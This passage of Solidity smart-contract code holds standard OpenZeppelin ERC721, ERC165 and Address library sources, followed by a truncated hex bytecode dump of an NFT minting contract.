such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106101d85760003560e01c806355367ba911610102578063a035b1fe11610095578063c87b56dd11610064578063c87b56dd14610661578063e985e9c51461069e578063f19e75d4146106db578063f2fde38b14610704576101d8565b8063a035b1fe146105c8578063a0712d68146105f3578063a22cb4651461060f578063b88d4fde14610638576101d8565b8063715018a6116100d1578063715018a6146105325780638da5cb5b1461054957806391b7f5ed1461057457806395d89b411461059d576101d8565b806355367ba9146104765780635d08c1ae1461048d5780636352211e146104b857806370a08231146104f5576101d8565b8063249380961161017a5780633ccfd60b116101495780633ccfd60b146103d057806342842e0e146103e757806342966c68146104105780634f6ccce714610439576101d8565b806324938096146103285780632f745c591461033f57806332cb6b0c1461037c57806339a0c6f9146103a7576101d8565b8063095ea7b3116101b6578063095ea7b314610282578063147c0718146102ab57806318160ddd146102d457806323b872dd146102ff576101d8565b806301ffc9a7146101dd57806306fdde031461021a578063081812fc14610245575b600080fd5b3480156101e957600080fd5b5061020460048036038101906101ff9190613171565b61072d565b6040516102119190613738565b60405180910390f35b34801561022657600080fd5b5061022f61073f565b60405161023c9190613753565b60405180910390f35b34801561025157600080fd5b5061026c60048036038101906102679190613249565b6107d1565b60405161027991906136d1565b60405180910390f35b34801561028e57600080fd5b506102a960048036038101906102a49190613135565b610856565b005b3480156102b757600080fd5b506102d260048036038101906102cd9190613208565b61096e565b005b3480156102e057600080fd5b506102e9610a04565b6040516102f69190613a15565b60405180910390f35b34801561030b57600080fd5b506103266004803603810190610321919061302f565b610a11565b005b34801561033457600080fd5b5061033d610a71565b005b34801561034b57600080fd5b5061036660048036038101906103619190613135565b610b0a565b6040516103739190613a15565b60405180910390f35b34801561038857600080fd5b50610391610baf565b60405161039e9190613a15565b60405180910390f35b3480156103b357600080fd5b506103ce60048036038101906103c991906131c3565b610bb5565b005b3480156103dc57600080fd5b506103e5610c47565b005b3480156103f357600080fd5b5061040e6004803603810190610409919061302f565b610d93565b005b34801561041c57600080fd5b5061043760048036038101906104329190613249565b610db3565b005b34801561044557600080fd5b50610460600480360381019061045b9190613249565b610e0f565b60405161046d9190613a15565b60405180910390f35b34801561048257600080fd5b5061048b610ea6565b005b34801561049957600080fd5b506104a2610f3f565b6040516104af9190613738565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da9190613249565b610f52565b6040516104ec91906136d1565b60405180910390f35b34801561050157600080fd5b5061051c60048036038101906105179190612fca565b611004565b6040516105299190613a15565b60405180910390f35b34801561053e57600080fd5b506105476110bc565b005b34801561055557600080fd5b5061055e6111f6565b60405161056b91906136d1565b60405180910390f35b34801561058057600080fd5b5061059b60048036038101906105969190613249565b61121f565b005b3480156105a957600080fd5b506105b26112a5565b6040516105bf9190613753565b60405180910390f35b3480156105d457600080fd5b506105dd611337565b6040516105ea9190613a15565b60405180910390f35b61060d60048036038101906106089190613249565b61133d565b005b34801561061b57600080fd5b50610636600480360381019061063191906130f9565b6114aa565b005b34801561064457600080fd5b5061065f600480360381019061065a919061307e565b61162b565b005b34801561066d57600080fd5b5061068860048036038101906106839190613249565b61168d565b6040516106959190613753565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c09190612ff3565b6116ca565b6040516106d29190613738565b60405180910390f35b3480156106e757600080fd5b5061070260048036038101906106fd9190613249565b61175e565b005b34801561071057600080fd5b5061072b60048036038101906107269190612fca565b61186b565b005b600061073882611a14565b9050919050565b60606001805461074e90613cda565b80601f016020809104026020016040519081016040528092919081815260200182805461077a90613cda565b80156107c75780601f1061079c576101008083540402835291602001916107c7565b820191906000526020600020905b8154815290600101906020018083116107aa57829003601f168201915b5050505050905090565b60006107dc82611a8e565b61081b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081290613915565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061086182610f52565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c990613975565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108f1611afa565b73ffffffffffffffffffffffffffffffffffffffff161480610920575061091f8161091a611afa565b6116ca565b5b61095f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095690613895565b60405180910390fd5b6109698383611b02565b505050565b610976611afa565b73ffffffffffffffffffffffffffffffffffffffff166109946111f6565b73ffffffffffffffffffffffffffffffffffffffff16146109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e190613935565b60405180910390fd5b8060109080519060200190610a00929190612cde565b5050565b6000600980549050905090565b610a22610a1c611afa565b82611bbb565b610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5890613995565b60405180910390fd5b610a6c838383611c99565b505050565b610a79611afa565b73ffffffffffffffffffffffffffffffffffffffff16610a976111f6565b73ffffffffffffffffffffffffffffffffffffffff1614610aed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae490613935565b60405180910390fd5b6000600e60006101000a81548160ff021916908315150217905550565b6000610b1583611004565b8210610b56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4d90613795565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b600c5481565b610bbd611afa565b73ffffffffffffffffffffffffffffffffffffffff16610bdb6111f6565b73ffffffffffffffffffffffffffffffffffffffff1614610c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2890613935565b60405180910390fd5b8181600f9190610c42929190612d64565b505050565b610c4f611afa565b73ffffffffffffffffffffffffffffffffffffffff16610c6d6111f6565b73ffffffffffffffffffffffffffffffffffffffff1614610cc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cba90613935565b60405180910390fd5b7378160a087f0714aa6d342760ef9a132afec4247673ffffffffffffffffffffffffffffffffffffffff166108fc6064601c47610d009190613b96565b610d0a9190613b65565b9081150290604051600060405180830381858888f19350505050158015610d35573d6000803e3d6000fd5b5073c1b856b810c18d281f658c3a29b3890868dd70de73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610d90573d6000803e3d6000fd5b50565b610dae8383836040518060200160405280600081525061162b565b505050565b610dc4610dbe611afa565b82611bbb565b610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa906139f5565b60405180910390fd5b610e0c81611ef5565b50565b6000610e19610a04565b8210610e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e51906139b5565b60405180910390fd5b60098281548110610e94577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b610eae611afa565b73ffffffffffffffffffffffffffffffffffffffff16610ecc6111f6565b73ffffffffffffffffffffffffffffffffffffffff1614610f22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1990613935565b60405180910390fd5b6001600e60006101000a81548160ff021916908315150217905550565b600e60009054906101000a900460ff1681565b6000806003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff2906138d5565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106c906138b5565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110c4611afa565b73ffffffffffffffffffffffffffffffffffffffff166110e26111f6565b73ffffffffffffffffffffffffffffffffffffffff1614611138576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112f90613935565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611227611afa565b73ffffffffffffffffffffffffffffffffffffffff166112456111f6565b73ffffffffffffffffffffffffffffffffffffffff161461129b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129290613935565b60405180910390fd5b80600d8190555050565b6060600280546112b490613cda565b80601f01602080910402602001604051908101604052809291908181526020018280546112e090613cda565b801561132d5780601f106113025761010080835404028352916020019161132d565b820191906000526020600020905b81548152906001019060200180831161131057829003601f168201915b5050505050905090565b600d5481565b600c5481611349610a04565b6113539190613b0f565b1115611394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138b90613775565b60405180910390fd5b80600d546113a29190613b96565b34146113e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113da906139d5565b60405180910390fd5b6032811115611427576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141e906139d5565b60405180910390fd5b600e60009054906101000a900460ff1615611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e90613815565b60405180910390fd5b60005b818110156114a6576114933361148e610a04565b611f01565b808061149e90613d3d565b91505061147a565b5050565b6114b2611afa565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151790613855565b60405180910390fd5b806006600061152d611afa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166115da611afa565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161161f9190613738565b60405180910390a35050565b61163c611636611afa565b83611bbb565b61167b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167290613995565b60405180910390fd5b61168784848484611f1f565b50505050565b6060611697611f7b565b6116a08361200d565b60106040516020016116b4939291906136a0565b6040516020818303038152906040529050919050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611766611afa565b73ffffffffffffffffffffffffffffffffffffffff166117846111f6565b73ffffffffffffffffffffffffffffffffffffffff16146117da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d190613935565b60405180910390fd5b600c54816117e6610a04565b6117f09190613b0f565b1115611831576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182890613775565b60405180910390fd5b60005b81811015611867576118546118476111f6565b61184f610a04565b6121ba565b808061185f90613d3d565b915050611834565b5050565b611873611afa565b73ffffffffffffffffffffffffffffffffffffffff166118916111f6565b73ffffffffffffffffffffffffffffffffffffffff16146118e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118de90613935565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194e906137d5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611a875750611a8682612388565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611b7583610f52565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611bc682611a8e565b611c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfc90613875565b60405180910390fd5b6000611c1083610f52565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611c7f57508373ffffffffffffffffffffffffffffffffffffffff16611c67846107d1565b73ffffffffffffffffffffffffffffffffffffffff16145b80611c905750611c8f81856116ca565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611cb982610f52565b73ffffffffffffffffffffffffffffffffffffffff1614611d0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0690613955565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7690613835565b60405180910390fd5b611d8a83838361246a565b611d95600082611b02565b6001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611de59190613bf0565b925050819055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e3c9190613b0f565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b611efe8161247a565b50565b611f1b8282604051806020016040528060008152506124cd565b5050565b611f2a848484611c99565b611f3684848484612528565b611f75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6c906137b5565b60405180910390fd5b50505050565b6060600f8054611f8a90613cda565b80601f0160208091040260200160405190810160405280929190818152602001828054611fb690613cda565b80156120035780601f10611fd857610100808354040283529160200191612003565b820191906000526020600020905b815481529060010190602001808311611fe657829003601f168201915b5050505050905090565b60606000821415612055576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506121b5565b600082905060005b6000821461208757808061207090613d3d565b915050600a826120809190613b65565b915061205d565b60008167ffffffffffffffff8111156120c9577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156120fb5781602001600182028036833780820191505090505b5090505b600085146121ae576001826121149190613bf0565b9150600a856121239190613d86565b603061212f9190613b0f565b60f81b81838151811061216b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856121a79190613b65565b94506120ff565b8093505050505b919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561222a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612221906138f5565b60405180910390fd5b61223381611a8e565b15612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a906137f5565b60405180910390fd5b61227f6000838361246a565b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122cf9190613b0f565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061245357507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806124635750612462826126bf565b5b9050919050565b612475838383612729565b505050565b6124838161283d565b6000600b600083815260200190815260200160002080546124a390613cda565b9050146124ca57600b600082815260200190815260200160002060006124c99190612dea565b5b50565b6124d783836121ba565b6124e46000848484612528565b612523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251a906137b5565b60405180910390fd5b505050565b60006125498473ffffffffffffffffffffffffffffffffffffffff1661294e565b156126b2578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612572611afa565b8786866040518563ffffffff1660e01b815260040161259494939291906136ec565b602060405180830381600087803b1580156125ae57600080fd5b505af19250505080156125df57506040513d601f19601f820116820180604052508101906125dc919061319a565b60015b612662573d806000811461260f576040519150601f19603f3d011682016040523d82523d6000602084013e612614565b606091505b5060008151141561265a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612651906137b5565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506126b7565b600190505b949350505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612734838383612961565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127775761277281612966565b6127b6565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146127b5576127b483826129af565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156127f9576127f481612b1c565b612838565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612837576128368282612c5f565b5b5b505050565b600061284882610f52565b90506128568160008461246a565b612861600083611b02565b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128b19190613bf0565b925050819055506003600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b505050565b600980549050600a600083815260200190815260200160002081905550600981908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016129bc84611004565b6129c69190613bf0565b9050600060086000848152602001908152602001600020549050818114612aab576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600760008773ffffffffffffffffffffffffffffffff